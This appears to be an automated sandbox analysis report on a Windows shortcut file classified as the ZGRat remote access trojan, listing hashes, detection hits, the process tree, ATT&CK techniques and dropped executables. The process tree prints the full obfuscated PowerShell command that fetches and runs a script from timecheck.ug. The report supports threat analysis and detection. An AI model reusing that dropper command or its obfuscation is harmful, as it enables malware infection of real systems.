zgrat | b58b42739a60da518b3cfe6ccda1755372b36ece77f14fbb2c1c4661a1df3fc6

Analysis

max time kernel
71s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
09-05-2024 20:38

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2b9a64f8e7b800ea300fbb68500a3184_JaffaCakes118.lnk
Size

2KB
MD5

2b9a64f8e7b800ea300fbb68500a3184
SHA1

18191da11de186380771db4e67abe007d26f9942
SHA256

b58b42739a60da518b3cfe6ccda1755372b36ece77f14fbb2c1c4661a1df3fc6
SHA512

8768f281aa085f2ca8dd7f23cf79901f265a3a00e6b05913015744f99e1bb42789138ec6a7ccf6a53e6947c42c0f130742ba85836f4319390a40d31d3b57b6c2

Score

10^/10

zgrat execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://timecheck.ug/ppx.ps1

Signatures

Detect ZGRat V1 33 IoCs

resource	yara_rule
behavioral2/memory/4740-45-0x0000000005CA0000-0x0000000006150000-memory.dmp	family_zgrat_v1
behavioral2/memory/4740-61-0x0000000005CA0000-0x000000000614B000-memory.dmp	family_zgrat_v1
behavioral2/memory/4740-69-0x0000000005CA0000-0x000000000614B000-memory.dmp	family_zgrat_v1
behavioral2/memory/4740-81-0x0000000005CA0000-0x000000000614B000-memory.dmp	family_zgrat_v1
behavioral2/memory/4740-83-0x0000000005CA0000-0x000000000614B000-memory.dmp	family_zgrat_v1
behavioral2/memory/4740-89-0x0000000005CA0000-0x000000000614B000-memory.dmp	family_zgrat_v1
behavioral2/memory/4740-95-0x0000000005CA0000-0x000000000614B000-memory.dmp	family_zgrat_v1
behavioral2/memory/4740-99-0x0000000005CA0000-0x000000000614B000-memory.dmp	family_zgrat_v1
behavioral2/memory/4740-105-0x0000000005CA0000-0x000000000614B000-memory.dmp	family_zgrat_v1
behavioral2/memory/4740-103-0x0000000005CA0000-0x000000000614B000-memory.dmp	family_zgrat_v1
behavioral2/memory/4740-101-0x0000000005CA0000-0x000000000614B000-memory.dmp	family_zgrat_v1
behavioral2/memory/4740-97-0x0000000005CA0000-0x000000000614B000-memory.dmp	family_zgrat_v1
behavioral2/memory/4740-93-0x0000000005CA0000-0x000000000614B000-memory.dmp	family_zgrat_v1
behavioral2/memory/4740-91-0x0000000005CA0000-0x000000000614B000-memory.dmp	family_zgrat_v1
behavioral2/memory/4740-87-0x0000000005CA0000-0x000000000614B000-memory.dmp	family_zgrat_v1
behavioral2/memory/4740-85-0x0000000005CA0000-0x000000000614B000-memory.dmp	family_zgrat_v1
behavioral2/memory/4740-79-0x0000000005CA0000-0x000000000614B000-memory.dmp	family_zgrat_v1
behavioral2/memory/4740-77-0x0000000005CA0000-0x000000000614B000-memory.dmp	family_zgrat_v1
behavioral2/memory/4740-75-0x0000000005CA0000-0x000000000614B000-memory.dmp	family_zgrat_v1
behavioral2/memory/4740-74-0x0000000005CA0000-0x000000000614B000-memory.dmp	family_zgrat_v1
behavioral2/memory/4740-71-0x0000000005CA0000-0x000000000614B000-memory.dmp	family_zgrat_v1
behavioral2/memory/4740-67-0x0000000005CA0000-0x000000000614B000-memory.dmp	family_zgrat_v1
behavioral2/memory/4740-65-0x0000000005CA0000-0x000000000614B000-memory.dmp	family_zgrat_v1
behavioral2/memory/4740-63-0x0000000005CA0000-0x000000000614B000-memory.dmp	family_zgrat_v1
behavioral2/memory/4740-59-0x0000000005CA0000-0x000000000614B000-memory.dmp	family_zgrat_v1
behavioral2/memory/4740-57-0x0000000005CA0000-0x000000000614B000-memory.dmp	family_zgrat_v1
behavioral2/memory/4740-55-0x0000000005CA0000-0x000000000614B000-memory.dmp	family_zgrat_v1
behavioral2/memory/4740-53-0x0000000005CA0000-0x000000000614B000-memory.dmp	family_zgrat_v1
behavioral2/memory/4740-51-0x0000000005CA0000-0x000000000614B000-memory.dmp	family_zgrat_v1
behavioral2/memory/4740-49-0x0000000005CA0000-0x000000000614B000-memory.dmp	family_zgrat_v1
behavioral2/memory/4740-47-0x0000000005CA0000-0x000000000614B000-memory.dmp	family_zgrat_v1
behavioral2/memory/4740-46-0x0000000005CA0000-0x000000000614B000-memory.dmp	family_zgrat_v1
behavioral2/memory/2148-14949-0x0000000004DD0000-0x0000000005088000-memory.dmp	family_zgrat_v1

ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat

Blocklisted process makes network request 1 IoCs

flow	pid	Process
2	3044	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation	hbc.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes dropped EXE 6 IoCs

pid	Process
2516	hbc.exe
1148	hbc.exe
4740	bvasdvdfsds.exe
4956	dfgdvdfsds.exe
4460	cvbfsds.exe
2016	bvcfsds.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
1148	hbc.exe
1148	hbc.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2516 set thread context of 1148	2516	hbc.exe	89

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3044	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3044	powershell.exe
3044	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2516	hbc.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	3044	powershell.exe
Token: SeDebugPrivilege	4740	bvasdvdfsds.exe
Token: SeDebugPrivilege	4956	dfgdvdfsds.exe
Token: SeDebugPrivilege	4460	cvbfsds.exe
Token: SeDebugPrivilege	2016	bvcfsds.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2516	hbc.exe
1148	hbc.exe

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 4684 wrote to memory of 3044	4684	cmd.exe	84
PID 4684 wrote to memory of 3044	4684	cmd.exe	84
PID 3044 wrote to memory of 2516	3044	powershell.exe	88
PID 3044 wrote to memory of 2516	3044	powershell.exe	88
PID 3044 wrote to memory of 2516	3044	powershell.exe	88
PID 2516 wrote to memory of 1148	2516	hbc.exe	89
PID 2516 wrote to memory of 1148	2516	hbc.exe	89
PID 2516 wrote to memory of 1148	2516	hbc.exe	89
PID 2516 wrote to memory of 1148	2516	hbc.exe	89
PID 1148 wrote to memory of 4740	1148	hbc.exe	91
PID 1148 wrote to memory of 4740	1148	hbc.exe	91
PID 1148 wrote to memory of 4740	1148	hbc.exe	91
PID 1148 wrote to memory of 4956	1148	hbc.exe	92
PID 1148 wrote to memory of 4956	1148	hbc.exe	92
PID 1148 wrote to memory of 4956	1148	hbc.exe	92
PID 1148 wrote to memory of 4460	1148	hbc.exe	95
PID 1148 wrote to memory of 4460	1148	hbc.exe	95
PID 1148 wrote to memory of 4460	1148	hbc.exe	95
PID 1148 wrote to memory of 2016	1148	hbc.exe	96
PID 1148 wrote to memory of 2016	1148	hbc.exe	96
PID 1148 wrote to memory of 2016	1148	hbc.exe	96

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\2b9a64f8e7b800ea300fbb68500a3184_JaffaCakes118.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4684
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Windo 1 $ag=[string][char[]]@(0x69,0x65,0x58) -replace ' ','';sal s $ag;$nq=((New-Object Net.WebClient)).DownloadString('http://timecheck.ug/ppx.ps1');s $nq
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3044
- - C:\Users\Public\hbc.exe
    "C:\Users\Public\hbc.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:2516
  - - C:\Users\Public\hbc.exe
      "C:\Users\Public\hbc.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:1148
    - - C:\Users\Admin\AppData\Local\Temp\bvasdvdfsds.exe
        
        "C:\Users\Admin\AppData\Local\Temp\bvasdvdfsds.exe" 0
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:4740
      - C:\Users\Admin\AppData\Local\Temp\BLHisbnd.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BLHisbnd.exe"
        6⤵
        
        PID:2148
      - C:\Users\Admin\AppData\Local\Temp\bvasdvdfsds.exe
        
        "C:\Users\Admin\AppData\Local\Temp\bvasdvdfsds.exe"
        6⤵
        
        PID:3112
    - - C:\Users\Admin\AppData\Local\Temp\dfgdvdfsds.exe
        
        "C:\Users\Admin\AppData\Local\Temp\dfgdvdfsds.exe" 0
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:4956
      - C:\Users\Admin\AppData\Local\Temp\dfgdvdfsds.exe
        
        "C:\Users\Admin\AppData\Local\Temp\dfgdvdfsds.exe"
        6⤵
        
        PID:2372
    - - C:\Users\Admin\AppData\Local\Temp\cvbfsds.exe
        
        "C:\Users\Admin\AppData\Local\Temp\cvbfsds.exe" 0
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:4460
    - - C:\Users\Admin\AppData\Local\Temp\bvcfsds.exe
        
        "C:\Users\Admin\AppData\Local\Temp\bvcfsds.exe" 0
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2016

C:\Windows\SysWOW64\dialer.exe
"C:\Windows\system32\dialer.exe"
1⤵
PID:5728

C:\Windows\SysWOW64\dialer.exe
"C:\Windows\system32\dialer.exe"
1⤵
PID:1416

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 3112 -ip 3112
1⤵
PID:1636

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 2372 -ip 2372
1⤵
PID:5664

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\BLHisbnd.exe

Filesize
3.4MB

MD5
e13e6f7986b9d1eff55fe30133592c40

SHA1
8299d50b76990e9dc7e0a8cc67e2f4d44cb810f5

SHA256
407e9094206a37707a368f4cd0103269c50b8c0c03edba87b4f20664d259f207

SHA512
bb41209d410ff38c01279d119f646658e363a3055a4f152b6a2c76b9cdb1fb42441b243fa8f7fb7a353a1b0e78c619e499274185f40d8592e43551da46bd97a6

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0ndji1mg.0oo.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\bvasdvdfsds.exe

Filesize
5.1MB

MD5
feaa8de04212f92f82e6aaddbead65a7

SHA1
0c167de9dfc5136d64b072ae67469914b3514802

SHA256
23c2ed2854f67fd35dc91935fdd1d0456a11fcc0d622c219fca1fc21e7182666

SHA512
ee6bfb31b2c29ee5e94fea4496697c19640145bfbfd3161d2ace43939a2464f9557be7fdb604dbd7b626d859a0efa488bf8ceeb217eb171ac6dc1a11210b5035

Download Submit
C:\Users\Admin\AppData\Local\Temp\bvasdvdfsds.exe

Filesize
5.3MB

MD5
de08b70c1b36bce2c90a34b9e5e61f09

SHA1
1628635f073c61ad744d406a16d46dfac871c9c2

SHA256
432747c04ab478a654328867d7ca806b52fedf1572c74712fa8b7c0edb71df67

SHA512
18a30e480ce7d122cfad5a99570042e3bef9e1f9feda1f7be32b273a7248274285c65ac997c90d3d6a950a37b4ea62e6b928bfefc924187c90e32ea571bfd1f5

Download Submit
C:\Users\Admin\AppData\Local\Temp\dfgdvdfsds.exe

Filesize
4.1MB

MD5
3306d64e6ef152b9c053653e45481107

SHA1
cf2a2917ea4ab3cdd6f48791600a77dbe9884937

SHA256
ea40182e63ab26b3a32d41f2a115a4324f921033b65c3ff5c145674fde62c945

SHA512
18d1a1d7de111a37f8ec7b07aa132c8f42e74a6b8bc56935782ce1d9a94f5192fff32f35b1530c84a0a983d5a7c108ffbddb777ed555dc503f87f6077fb716ff

Download Submit
C:\Users\Public\hbc.exe

Filesize
760KB

MD5
8333b78c2a3eacf8cfd843a7b62ce6ba

SHA1
81a4d7d00d04da14a6059ed068238a7e2321f721

SHA256
aaeaf69dc4dd105e8e2d637a9336af389b7c3d5175421d80fabd5c91be86b665

SHA512
c3fb49362632765d2fca9855b3ea004ba3548c8d86f92d4739b28623103b93ee532a03535b43628a1a00cd96198b91f319db9b1aa7891b17d2dedaa8ff919f27

Download Submit
memory/1148-24-0x0000000000400000-0x0000000000408000-memory.dmp

Filesize
32KB

Download
memory/1148-26-0x0000000000400000-0x0000000000408000-memory.dmp

Filesize
32KB

Download
memory/2148-14522-0x0000000000230000-0x0000000000590000-memory.dmp

Filesize
3.4MB

Download
memory/2148-14949-0x0000000004DD0000-0x0000000005088000-memory.dmp

Filesize
2.7MB

Download
memory/3044-3-0x000001EA67FB0000-0x000001EA67FD2000-memory.dmp

Filesize
136KB

Download
memory/3044-23-0x00007FFA45500000-0x00007FFA45FC1000-memory.dmp

Filesize
10.8MB

Download
memory/3044-14-0x00007FFA45500000-0x00007FFA45FC1000-memory.dmp

Filesize
10.8MB

Download
memory/3044-13-0x00007FFA45500000-0x00007FFA45FC1000-memory.dmp

Filesize
10.8MB

Download
memory/3044-2-0x00007FFA45503000-0x00007FFA45505000-memory.dmp

Filesize
8KB

Download
memory/4740-85-0x0000000005CA0000-0x000000000614B000-memory.dmp

Filesize
4.7MB

Download
memory/4740-63-0x0000000005CA0000-0x000000000614B000-memory.dmp

Filesize
4.7MB

Download
memory/4740-95-0x0000000005CA0000-0x000000000614B000-memory.dmp

Filesize
4.7MB

Download
memory/4740-99-0x0000000005CA0000-0x000000000614B000-memory.dmp

Filesize
4.7MB

Download
memory/4740-105-0x0000000005CA0000-0x000000000614B000-memory.dmp

Filesize
4.7MB

Download
memory/4740-103-0x0000000005CA0000-0x000000000614B000-memory.dmp

Filesize
4.7MB

Download
memory/4740-101-0x0000000005CA0000-0x000000000614B000-memory.dmp

Filesize
4.7MB

Download
memory/4740-97-0x0000000005CA0000-0x000000000614B000-memory.dmp

Filesize
4.7MB

Download
memory/4740-93-0x0000000005CA0000-0x000000000614B000-memory.dmp

Filesize
4.7MB

Download
memory/4740-91-0x0000000005CA0000-0x000000000614B000-memory.dmp

Filesize
4.7MB

Download
memory/4740-87-0x0000000005CA0000-0x000000000614B000-memory.dmp

Filesize
4.7MB

Download
memory/4740-83-0x0000000005CA0000-0x000000000614B000-memory.dmp

Filesize
4.7MB

Download
memory/4740-79-0x0000000005CA0000-0x000000000614B000-memory.dmp

Filesize
4.7MB

Download
memory/4740-77-0x0000000005CA0000-0x000000000614B000-memory.dmp

Filesize
4.7MB

Download
memory/4740-75-0x0000000005CA0000-0x000000000614B000-memory.dmp

Filesize
4.7MB

Download
memory/4740-74-0x0000000005CA0000-0x000000000614B000-memory.dmp

Filesize
4.7MB

Download
memory/4740-71-0x0000000005CA0000-0x000000000614B000-memory.dmp

Filesize
4.7MB

Download
memory/4740-67-0x0000000005CA0000-0x000000000614B000-memory.dmp

Filesize
4.7MB

Download
memory/4740-65-0x0000000005CA0000-0x000000000614B000-memory.dmp

Filesize
4.7MB

Download
memory/4740-89-0x0000000005CA0000-0x000000000614B000-memory.dmp

Filesize
4.7MB

Download
memory/4740-59-0x0000000005CA0000-0x000000000614B000-memory.dmp

Filesize
4.7MB

Download
memory/4740-57-0x0000000005CA0000-0x000000000614B000-memory.dmp

Filesize
4.7MB

Download
memory/4740-55-0x0000000005CA0000-0x000000000614B000-memory.dmp

Filesize
4.7MB

Download
memory/4740-53-0x0000000005CA0000-0x000000000614B000-memory.dmp

Filesize
4.7MB

Download
memory/4740-51-0x0000000005CA0000-0x000000000614B000-memory.dmp

Filesize
4.7MB

Download
memory/4740-49-0x0000000005CA0000-0x000000000614B000-memory.dmp

Filesize
4.7MB

Download
memory/4740-47-0x0000000005CA0000-0x000000000614B000-memory.dmp

Filesize
4.7MB

Download
memory/4740-46-0x0000000005CA0000-0x000000000614B000-memory.dmp

Filesize
4.7MB

Download
memory/4740-12693-0x0000000007510000-0x00000000077FC000-memory.dmp

Filesize
2.9MB

Download
memory/4740-12867-0x0000000001A20000-0x0000000001A6C000-memory.dmp

Filesize
304KB

Download
memory/4740-81-0x0000000005CA0000-0x000000000614B000-memory.dmp

Filesize
4.7MB

Download
memory/4740-14523-0x0000000009800000-0x0000000009DA4000-memory.dmp

Filesize
5.6MB

Download
memory/4740-14626-0x0000000008C50000-0x0000000008CA4000-memory.dmp

Filesize
336KB

Download
memory/4740-69-0x0000000005CA0000-0x000000000614B000-memory.dmp

Filesize
4.7MB

Download
memory/4740-61-0x0000000005CA0000-0x000000000614B000-memory.dmp

Filesize
4.7MB

Download
memory/4740-45-0x0000000005CA0000-0x0000000006150000-memory.dmp

Filesize
4.7MB

Download
memory/4740-44-0x0000000000C70000-0x00000000011CA000-memory.dmp

Filesize
5.4MB

Download